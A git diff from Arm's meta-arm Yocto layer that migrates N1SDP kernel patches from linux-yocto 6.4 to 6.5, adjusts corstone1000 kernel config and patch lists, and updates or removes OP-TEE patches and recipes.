CONFIG_NET_SCHED=y
CONFIG_DEVTMPFS=y
+CONFIG_EFI_BOOTLOADER_CONTROL=y
+CONFIG_EFI_CAPSULE_LOADER=y
+CONFIG_EFI_TEST=y
+CONFIG_RESET_ATTACK_MITIGATION=y
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
+# CONFIG_BLK_DEV_BSG is not set
CONFIG_NETDEVICES=y
# CONFIG_NET_VENDOR_ALACRITECH is not set
# CONFIG_NET_VENDOR_AMAZON is not set
@@ -49,9 +48,9 @@ CONFIG_NETDEVICES=y
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MICROCHIP is not set
# CONFIG_NET_VENDOR_MICROSEMI is not set
+# CONFIG_NET_VENDOR_NI is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NETRONOME is not set
-# CONFIG_NET_VENDOR_NI is not set
# CONFIG_NET_VENDOR_PENSANDO is not set
# CONFIG_NET_VENDOR_QUALCOMM is not set
# CONFIG_NET_VENDOR_RENESAS is not set
@@ -90,11 +89,3 @@ CONFIG_LIBCRC32C=y
# CONFIG_SECTION_MISMATCH_WARN_ONLY is not set
CONFIG_DEBUG_FS=y
CONFIG_PANIC_TIMEOUT=5
-CONFIG_STACKTRACE=y
-CONFIG_EXTSYS_CTRL=y
-CONFIG_MAILBOX=y
-CONFIG_ARM_MHU_V2=y
-CONFIG_RPMSG=y
-CONFIG_RPMSG_CHAR=y
-CONFIG_RPMSG_ARM=y
-CONFIG_RPMSG_CTRL=y
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-arm-platforms.inc b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-arm-platforms.inc
index 4028cf31d1..6c132c9796 100644
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-arm-platforms.inc
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-arm-platforms.inc
@@ -30,11 +30,6 @@ LINUX_KERNEL_TYPE:corstone1000 = "standard"
KERNEL_EXTRA_ARGS:corstone1000 += "CONFIG_INITRAMFS_COMPRESSION_NONE=y"
SRC_URI:append:corstone1000 = " \
file://defconfig \
- file://0002-Add-external-system-driver.patch \
- file://0003-Add-rpmsg-driver-for-corstone1000.patch \
- file://0004-rpmsg-arm-fix-return-value.patch \
- file://0005-rpmsg-arm-update-chrdev-to-ctrldev-registration.patch \
- file://0006-Adds-workaround-for-cs1k-specific-bug.patch \
"
SRC_URI:append:corstone1000 = " ${@bb.utils.contains('MACHINE_FEATURES', \
@@ -72,7 +67,7 @@ COMPATIBLE_MACHINE:musca-s1 = "(^$)"
#
# N1SDP KMACHINE
#
-FILESEXTRAPATHS:prepend:n1sdp := "${THISDIR}/linux-yocto-6.4/n1sdp:"
+FILESEXTRAPATHS:prepend:n1sdp := "${THISDIR}/linux-yocto-6.5/n1sdp:"
COMPATIBLE_MACHINE:n1sdp = "n1sdp"
KBUILD_DEFCONFIG:n1sdp = "defconfig"
KCONFIG_MODE:n1sdp = "--alldefconfig"
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0001-iommu-arm-smmu-v3-workaround-for-ATC_INV_SIZE_ALL-in.patch b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0001-iommu-arm-smmu-v3-workaround-for-ATC_INV_SIZE_ALL-in.patch
index 869ca6f798..df7586cf0f 100644
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0001-iommu-arm-smmu-v3-workaround-for-ATC_INV_SIZE_ALL-in.patch
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0001-iommu-arm-smmu-v3-workaround-for-ATC_INV_SIZE_ALL-in.patch
@@ -1,4 +1,4 @@
-From ec84afa8e74bc5df8b5794eef8f29b097adc7cb3 Mon Sep 17 00:00:00 2001
+From 63da10da7a57776196a3c323e93ef66f1d553c0c Mon Sep 17 00:00:00 2001
From: Manoj Kumar <manoj.kumar3@arm.com>
Date: Mon, 1 Feb 2021 21:36:43 +0530
Subject: [PATCH] iommu/arm-smmu-v3: workaround for ATC_INV_SIZE_ALL in N1SDP
@@ -9,11 +9,9 @@ N1SDP platform. This workaround manually sets the ATS address
field to proper value for ATC_INV_SIZE_ALL command.
Change-Id: If89465be94720a62be85e1e6612f17e93fa9b8a5
-Signed-off-by: Manoj Kumar <manoj.kumar3@arm.com>
-Signed-off-by: Khasim Syed Mohammed <khasim.mohammed@arm.com>
-
Upstream-Status: Inappropriate [Workaround]
Signed-off-by: Manoj Kumar <manoj.kumar3@arm.com>
+Signed-off-by: Khasim Syed Mohammed <khasim.mohammed@arm.com>
Signed-off-by: Vishnu Banavath <vishnu.banavath@arm.com>
Signed-off-by: Adam Johnston <adam.johnston@arm.com>
---
@@ -22,10 +20,10 @@ Signed-off-by: Adam Johnston <adam.johnston@arm.com>
2 files changed, 2 insertions(+)
diff --git a/drivers/iommu/arm/arm-smmu-v3/arm-smmu-v3.c b/drivers/iommu/arm/arm-smmu-v3/arm-smmu-v3.c
-index 3fd83fb75722..852ed05b14a3 100644
+index 6ccbae9b93a1..5387f152fb07 100644
--- a/drivers/iommu/arm/arm-smmu-v3/arm-smmu-v3.c
+++ b/drivers/iommu/arm/arm-smmu-v3/arm-smmu-v3.c
-@@ -1747,6 +1747,7 @@ arm_smmu_atc_inv_to_cmd(int ssid, unsigned long iova, size_t size,
+@@ -1753,6 +1753,7 @@ arm_smmu_atc_inv_to_cmd(int ssid, unsigned long iova, size_t size,
};
if (!size) {
@@ -34,10 +32,10 @@ index 3fd83fb75722..852ed05b14a3 100644
return;
}
diff --git a/drivers/iommu/arm/arm-smmu-v3/arm-smmu-v3.h b/drivers/iommu/arm/arm-smmu-v3/arm-smmu-v3.h
-index b574c58a3487..018086b65381 100644
+index dcab85698a4e..12e12d03eebf 100644
--- a/drivers/iommu/arm/arm-smmu-v3/arm-smmu-v3.h
+++ b/drivers/iommu/arm/arm-smmu-v3/arm-smmu-v3.h
-@@ -472,6 +472,7 @@ struct arm_smmu_cmdq_ent {
+@@ -478,6 +478,7 @@ struct arm_smmu_cmdq_ent {
#define CMDQ_OP_ATC_INV 0x40
#define ATC_INV_SIZE_ALL 52
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0002-n1sdp-pci_quirk-add-acs-override-for-PCI-devices.patch b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0002-n1sdp-pci_quirk-add-acs-override-for-PCI-devices.patch
index 9bf8112bf0..73e7a583f0 100644
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0002-n1sdp-pci_quirk-add-acs-override-for-PCI-devices.patch
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0002-n1sdp-pci_quirk-add-acs-override-for-PCI-devices.patch
@@ -1,4 +1,4 @@
-From 9761e48b2d6904a58996fcaadcf25684482a72c8 Mon Sep 17 00:00:00 2001
+From 7d24cc041cbcff07b21a9a380426b38e09149648 Mon Sep 17 00:00:00 2001
From: Manoj Kumar <manoj.kumar3@arm.com>
Date: Tue, 31 Aug 2021 16:15:38 +0000
Subject: [PATCH] n1sdp: pci_quirk: add acs override for PCI devices
@@ -7,9 +7,8 @@ Patch taken from:
https://gitlab.com/Queuecumber/linux-acs-override/raw/master/workspaces/5.4/acso.patch
Change-Id: Ib926bf50524ce9990fbaa2f2f8670fe84bd571f9
-Signed-off-by: Manoj Kumar <manoj.kumar3@arm.com>
-
Upstream-Status: Inappropriate [will not be submitted as its a workaround to address hardware issue]
+Signed-off-by: Manoj Kumar <manoj.kumar3@arm.com>
Signed-off-by: Khasim Syed Mohammed <khasim.mohammed@arm.com>
Signed-off-by: Vishnu Banavath <vishnu.banavath@arm.com>
Signed-off-by: Adam Johnston <adam.johnston@arm.com>
@@ -19,10 +18,10 @@ Signed-off-by: Adam Johnston <adam.johnston@arm.com>
2 files changed, 110 insertions(+)
diff --git a/Documentation/admin-guide/kernel-parameters.txt b/Documentation/admin-guide/kernel-parameters.txt
-index 9e5bab29685f..7ee740a37e5d 100644
+index 23ebe34ff901..054b6e6d22f3 100644
--- a/Documentation/admin-guide/kernel-parameters.txt
+++ b/Documentation/admin-guide/kernel-parameters.txt
-@@ -4235,6 +4235,14 @@
+@@ -4271,6 +4271,14 @@
nomsi [MSI] If the PCI_MSI kernel config parameter is
enabled, this kernel boot option can be used to
disable the use of MSI interrupts system-wide.
@@ -38,10 +37,10 @@ index 9e5bab29685f..7ee740a37e5d 100644
Safety option to keep boot IRQs enabled. This
should never be necessary.
diff --git a/drivers/pci/quirks.c b/drivers/pci/quirks.c
-index b7c65193e786..16b81d1ccafa 100644
+index 321156ca273d..1144c3a8a3bb 100644
--- a/drivers/pci/quirks.c
+++ b/drivers/pci/quirks.c
-@@ -3625,6 +3625,107 @@ static void quirk_no_bus_reset(struct pci_dev *dev)
+@@ -3718,6 +3718,107 @@ static void quirk_no_bus_reset(struct pci_dev *dev)
dev->dev_flags |= PCI_DEV_FLAGS_NO_BUS_RESET;
}
@@ -149,7 +148,7 @@ index b7c65193e786..16b81d1ccafa 100644
/*
* Some NVIDIA GPU devices do not work with bus reset, SBR needs to be
* prevented for those affected devices.
-@@ -5017,6 +5118,7 @@ static const struct pci_dev_acs_enabled {
+@@ -5112,6 +5213,7 @@ static const struct pci_dev_acs_enabled {
{ PCI_VENDOR_ID_ZHAOXIN, PCI_ANY_ID, pci_quirk_zhaoxin_pcie_ports_acs },
/* Wangxun nics */
{ PCI_VENDOR_ID_WANGXUN, PCI_ANY_ID, pci_quirk_wangxun_nic_acs },
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0003-pcie-Add-quirk-for-the-Arm-Neoverse-N1SDP-platform.patch b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0003-pcie-Add-quirk-for-the-Arm-Neoverse-N1SDP-platform.patch
index 96d55ad8ff..e91147a1b2 100644
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0003-pcie-Add-quirk-for-the-Arm-Neoverse-N1SDP-platform.patch
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0003-pcie-Add-quirk-for-the-Arm-Neoverse-N1SDP-platform.patch
@@ -1,4 +1,4 @@
-From 268bfbcd8f16660bf5fc8e31b18b4090743c6dbe Mon Sep 17 00:00:00 2001
+From 51879bfe6b0850b3746df9f9471120a6709807cb Mon Sep 17 00:00:00 2001
From: Deepak Pandey <Deepak.Pandey@arm.com>
Date: Fri, 31 May 2019 16:42:43 +0100
Subject: [PATCH] pcie: Add quirk for the Arm Neoverse N1SDP platform
@@ -24,7 +24,6 @@ Signed-off-by: Deepak Pandey <Deepak.Pandey@arm.com>
Signed-off-by: Sudipto Paul <sudipto.paul@arm.com>
[Andre: fix coding style issues, rewrite some parts, add DT support]
Signed-off-by: Andre Przywara <andre.przywara@arm.com>
-
Change-Id: I1d3a4b9bf6b3b883d262e3c4ff1f88a0eb81c1fe
Upstream-Status: Inappropriate [will not be submitted as its a workaround to address hardware issue]
Signed-off-by: Deepak Pandey <Deepak.Pandey@arm.com>
@@ -41,10 +40,10 @@ Signed-off-by: Adam Johnston <adam.johnston@arm.com>
create mode 100644 drivers/pci/controller/pcie-n1sdp.c
diff --git a/arch/arm64/configs/defconfig b/arch/arm64/configs/defconfig
-index a24609e14d50..cd73d1704dd2 100644
+index 02adc6ceb831..398a5429a8e2 100644
--- a/arch/arm64/configs/defconfig
+++ b/arch/arm64/configs/defconfig
-@@ -203,6 +203,7 @@ CONFIG_NFC_S3FWRN5_I2C=m
+@@ -207,6 +207,7 @@ CONFIG_NFC_S3FWRN5_I2C=m
CONFIG_PCI=y
CONFIG_PCIEPORTBUS=y
CONFIG_PCIEAER=y
@@ -71,7 +70,7 @@ index 860014b89b8e..2d4c1c699ffe 100644
#ifdef CONFIG_LOONGARCH
diff --git a/drivers/pci/controller/Kconfig b/drivers/pci/controller/Kconfig
-index 8d49bad7f847..7bb49afbcd5b 100644
+index 0859be86e718..c51b89781472 100644
--- a/drivers/pci/controller/Kconfig
+++ b/drivers/pci/controller/Kconfig
@@ -21,6 +21,17 @@ config PCIE_ALTERA
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0004-n1sdp-pcie-add-quirk-support-enabling-remote-chip-PC.patch b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0004-n1sdp-pcie-add-quirk-support-enabling-remote-chip-PC.patch
index ce28499e1f..f85abd9eeb 100644
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0004-n1sdp-pcie-add-quirk-support-enabling-remote-chip-PC.patch
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0004-n1sdp-pcie-add-quirk-support-enabling-remote-chip-PC.patch
@@ -1,4 +1,4 @@
-From 553801193c173711e9f7f6c56a44b5fac2385c1e Mon Sep 17 00:00:00 2001
+From aa7c785aff4276aa8579a54f39347cd47eb48ebb Mon Sep 17 00:00:00 2001
From: Sayanta Pattanayak <sayanta.pattanayak@arm.com>
Date: Wed, 9 Feb 2022 20:37:43 +0530
Subject: [PATCH] n1sdp: pcie: add quirk support enabling remote chip PCIe
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0005-arm64-kpti-Whitelist-early-Arm-Neoverse-N1-revisions.patch b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0005-arm64-kpti-Whitelist-early-Arm-Neoverse-N1-revisions.patch
index e4f15bbcbe..42ef0ee38a 100644
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0005-arm64-kpti-Whitelist-early-Arm-Neoverse-N1-revisions.patch
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0005-arm64-kpti-Whitelist-early-Arm-Neoverse-N1-revisions.patch
@@ -1,4 +1,4 @@
-From d2e55d92eefd99ede330270b00c01b734a6b61c0 Mon Sep 17 00:00:00 2001
+From a9df434f077e7f1d8895e76381ba7179f3ebb1ba Mon Sep 17 00:00:00 2001
From: Andre Przywara <andre.przywara@arm.com>
Date: Fri, 17 May 2019 17:39:27 +0100
Subject: [PATCH] arm64: kpti: Whitelist early Arm Neoverse N1 revisions
@@ -20,10 +20,10 @@ Signed-off-by: Adam Johnston <adam.johnston@arm.com>
1 file changed, 1 insertion(+)
diff --git a/arch/arm64/kernel/cpufeature.c b/arch/arm64/kernel/cpufeature.c
-index 7d7128c65161..77e109ddd981 100644
+index 2c0b8444fea6..5c0ff40c6c8b 100644
--- a/arch/arm64/kernel/cpufeature.c
+++ b/arch/arm64/kernel/cpufeature.c
-@@ -1674,6 +1674,7 @@ static bool unmap_kernel_at_el0(const struct arm64_cpu_capabilities *entry,
+@@ -1690,6 +1690,7 @@ static bool unmap_kernel_at_el0(const struct arm64_cpu_capabilities *entry,
MIDR_ALL_VERSIONS(MIDR_QCOM_KRYO_2XX_SILVER),
MIDR_ALL_VERSIONS(MIDR_QCOM_KRYO_3XX_SILVER),
MIDR_ALL_VERSIONS(MIDR_QCOM_KRYO_4XX_SILVER),
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0006-arm64-defconfig-disable-config-options-that-does-not.patch b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0006-arm64-defconfig-disable-config-options-that-does-not.patch
index dae3243fb8..dae3243fb8 100644
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0006-arm64-defconfig-disable-config-options-that-does-not.patch
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0006-arm64-defconfig-disable-config-options-that-does-not.patch
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/enable-nvme.cfg b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/enable-nvme.cfg
index 268103555e..268103555e 100644
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/enable-nvme.cfg
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/enable-nvme.cfg
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/enable-realtek-R8169.cfg b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/enable-realtek-R8169.cfg
index 7a5747407c..7a5747407c 100644
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/enable-realtek-R8169.cfg
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/enable-realtek-R8169.cfg
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/enable-usb_conn_gpio.cfg b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/enable-usb_conn_gpio.cfg
index 128c902710..128c902710 100644
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/enable-usb_conn_gpio.cfg
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/enable-usb_conn_gpio.cfg
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/usb_xhci_pci_renesas.cfg b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/usb_xhci_pci_renesas.cfg
index c06507c060..c06507c060 100644
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/usb_xhci_pci_renesas.cfg
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/usb_xhci_pci_renesas.cfg
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto_6.4.bb b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto_6.4.bb
new file mode 100644
index 0000000000..f4c0654354
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto_6.4.bb
@@ -0,0 +1,39 @@
+KBRANCH ?= "v6.4/standard/base"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+# CVE exclusions
+include recipes-kernel/linux/cve-exclusion.inc
+include recipes-kernel/linux/cve-exclusion_6.4.inc
+
+SRCREV_machine ?= "ef91ff6a4be36037808af1ca786fdd557f265a1d"
+SRCREV_meta ?= "13efe44fe9dd2626eaf6552288ea31770ec71cf1"
+
+# set your preferred provider of linux-yocto to 'linux-yocto-upstream', and you'll
+# get the <version>/base branch, which is pure upstream -stable, and the same
+# meta SRCREV as the linux-yocto-standard builds. Select your version using the
+# normal PREFERRED_VERSION settings.
+BBCLASSEXTEND = "devupstream:target"
+SRCREV_machine:class-devupstream ?= "ae4e4fc35b4258626644c162a702e2bce2b79190"
+PN:class-devupstream = "linux-yocto-upstream"
+KBRANCH:class-devupstream = "v6.4/base"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRANCH};protocol=https \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-6.4;destsuffix=${KMETA};protocol=https"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+LINUX_VERSION ?= "6.4.16"
+
+PV = "${LINUX_VERSION}+git"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "1"
+
+# Functionality flags
+KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
+
+SRC_URI:append:aarch64 = " file://0001-arm64-defconfig-remove-CONFIG_COMMON_CLK_NPCM8XX-y.patch"
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/corstone1000/0001-Handle-logging-syscall.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/corstone1000/0001-Handle-logging-syscall.patch
index 9c1d78164b..58ba2afdd4 100644
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/corstone1000/0001-Handle-logging-syscall.patch
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/corstone1000/0001-Handle-logging-syscall.patch
@@ -4,7 +4,7 @@ Date: Thu, 31 Aug 2023 10:51:54 +0100
Subject: [PATCH] Handle logging syscall
Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
-Upstream-Status: Inappropriate [Other]
+Upstream-Status: Pending [upstreamed differently in 280b6a3]
---
core/arch/arm/kernel/spmc_sp_handler.c | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0002-plat-n1sdp-add-N1SDP-platform-support.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0002-plat-n1sdp-add-N1SDP-platform-support.patch
index 50283db022..29623b0b50 100644
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0002-plat-n1sdp-add-N1SDP-platform-support.patch
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0002-plat-n1sdp-add-N1SDP-platform-support.patch
@@ -50,8 +50,8 @@ index 00000000..06b4975a
+CFG_CORE_HEAP_SIZE = 0x32000 # 200kb
+
+CFG_TEE_CORE_NB_CORE = 4
-+CFG_TZDRAM_START ?= 0x08000000
-+CFG_TZDRAM_SIZE ?= 0x02008000
++CFG_TZDRAM_START ?= 0xDE000000
++CFG_TZDRAM_SIZE ?= 0x02000000
+
+CFG_SHMEM_START ?= 0x83000000
+CFG_SHMEM_SIZE ?= 0x00210000
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0003-HACK-disable-instruction-cache-and-data-cache.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0003-HACK-disable-instruction-cache-and-data-cache.patch
deleted file mode 100644
index ebe4d72661..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0003-HACK-disable-instruction-cache-and-data-cache.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-Upstream-Status: Pending [Not submitted to upstream yet]
-Signed-off-by: Vishnu Banavath <vishnu.banavath@arm.com>
-
-From 0c3ce4c09cd7d2ff4cd2e62acab899dd88dc9514 Mon Sep 17 00:00:00 2001
-From: Vishnu Banavath <vishnu.banavath@arm.com>
-Date: Wed, 20 Jul 2022 16:45:59 +0100
-Subject: [PATCH] HACK: disable instruction cache and data cache.
-
-For some reason, n1sdp fails to boot with instruction cache and
-data cache enabled. This is a temporary change to disable I cache
-and D cache until a proper fix is found.
-
-Signed-off-by: Vishnu Banavath <vishnu.banavath@arm.com>
-
-
-diff --git a/core/arch/arm/kernel/entry_a64.S b/core/arch/arm/kernel/entry_a64.S
-index 875b6e69..594d6928 100644
---- a/core/arch/arm/kernel/entry_a64.S
-+++ b/core/arch/arm/kernel/entry_a64.S
-@@ -52,7 +52,7 @@
-
- .macro set_sctlr_el1
- mrs x0, sctlr_el1
-- orr x0, x0, #SCTLR_I
-+ bic x0, x0, #SCTLR_I
- orr x0, x0, #SCTLR_SA
- orr x0, x0, #SCTLR_SPAN
- #if defined(CFG_CORE_RWDATA_NOEXEC)
-@@ -490,11 +490,11 @@ LOCAL_FUNC enable_mmu , : , .identity_map
- isb
-
- /* Enable I and D cache */
-- mrs x1, sctlr_el1
-+ /* mrs x1, sctlr_el1
- orr x1, x1, #SCTLR_I
- orr x1, x1, #SCTLR_C
- msr sctlr_el1, x1
-- isb
-+ isb */
-
- /* Adjust stack pointers and return address */
- msr spsel, #1
---
-2.17.1
-
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0004-Handle-logging-syscall.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0003-Handle-logging-syscall.patch
index 9d305adc5c..0955d99f37 100644
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0004-Handle-logging-syscall.patch
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0003-Handle-logging-syscall.patch
@@ -1,4 +1,4 @@
-Upstream-Status: Pending [Not submitted to upstream yet]
+Upstream-Status: Pending [upstreamed differently in 280b6a3]
Signed-off-by: Vishnu Banavath <vishnu.banavath@arm.com>
From b3fde6c2e1a950214f760ab9f194f3a6572292a8 Mon Sep 17 00:00:00 2001
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0005-plat-n1sdp-register-DRAM1-to-optee-os.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0004-plat-n1sdp-register-DRAM1-to-optee-os.patch
index d9e20f8c76..d9e20f8c76 100644
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0005-plat-n1sdp-register-DRAM1-to-optee-os.patch
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0004-plat-n1sdp-register-DRAM1-to-optee-os.patch
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0006-plat-n1sdp-add-external-device-tree-base-and-size.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0005-plat-n1sdp-add-external-device-tree-base-and-size.patch
index 74c94e0afe..74c94e0afe 100644
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0006-plat-n1sdp-add-external-device-tree-base-and-size.patch
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0005-plat-n1sdp-add-external-device-tree-base-and-size.patch
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-client_3.18.0.bb b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-client_3.18.0.bb
deleted file mode 100644
index ea7b65cebb..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-client_3.18.0.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-require recipes-security/optee/optee-client.inc
-
-SRCREV = "e7cba71cc6e2ecd02f412c7e9ee104f0a5dffc6f"
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-client_3.22.0.bb b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-client_3.22.0.bb
index d0c75d0c62..904c256509 100644
--- a/meta-arm/meta-arm/recipes-security/optee/optee-client_3.22.0.bb
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-client_3.22.0.bb
@@ -1,4 +1,4 @@
-require optee-client.inc
+require recipes-security/optee/optee-client.inc
SRCREV = "8533e0e6329840ee96cf81b6453f257204227e6c"
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-examples_3.22.0.bb b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-examples_3.22.0.bb
index 8322c513f0..f082a25d05 100644
--- a/meta-arm/meta-arm/recipes-security/optee/optee-examples_3.22.0.bb
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-examples_3.22.0.bb
@@ -1,3 +1,3 @@
-require optee-examples.inc
+require recipes-security/optee/optee-examples.inc
SRCREV = "378dc0db2d5dd279f58a3b6cb3f78ffd6b165035"
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.18.0/0005-core-ldelf-link-add-z-execstack.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.18.0/0005-core-ldelf-link-add-z-execstack.patch
deleted file mode 100644
index 862a76b427..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.18.0/0005-core-ldelf-link-add-z-execstack.patch
+++ /dev/null
@@ -1,93 +0,0 @@
-From 63445958678b58c5adc7eca476b216e5dc0f4195 Mon Sep 17 00:00:00 2001
-From: Jerome Forissier <jerome.forissier@linaro.org>
-Date: Tue, 23 Aug 2022 11:41:00 +0000
-Subject: [PATCH] core, ldelf: link: add -z execstack
-
-When building for arm32 with GNU binutils 2.39, the linker outputs
-warnings when generating some TEE core binaries (all_obj.o, init.o,
-unpaged.o and tee.elf) as well as ldelf.elf:
-
- arm-poky-linux-gnueabi-ld.bfd: warning: atomic_a32.o: missing .note.GNU-stack section implies executable stack
- arm-poky-linux-gnueabi-ld.bfd: NOTE: This behaviour is deprecated and will be removed in a future version of the linker
-
-The permissions used when mapping the TEE core stacks do not depend on
-any metadata found in the ELF file. Similarly when the TEE core loads
-ldelf it already creates a non-executable stack regardless of ELF
-information. Therefore we can safely ignore the warnings. This is done
-by adding the '-z execstack' option.
-
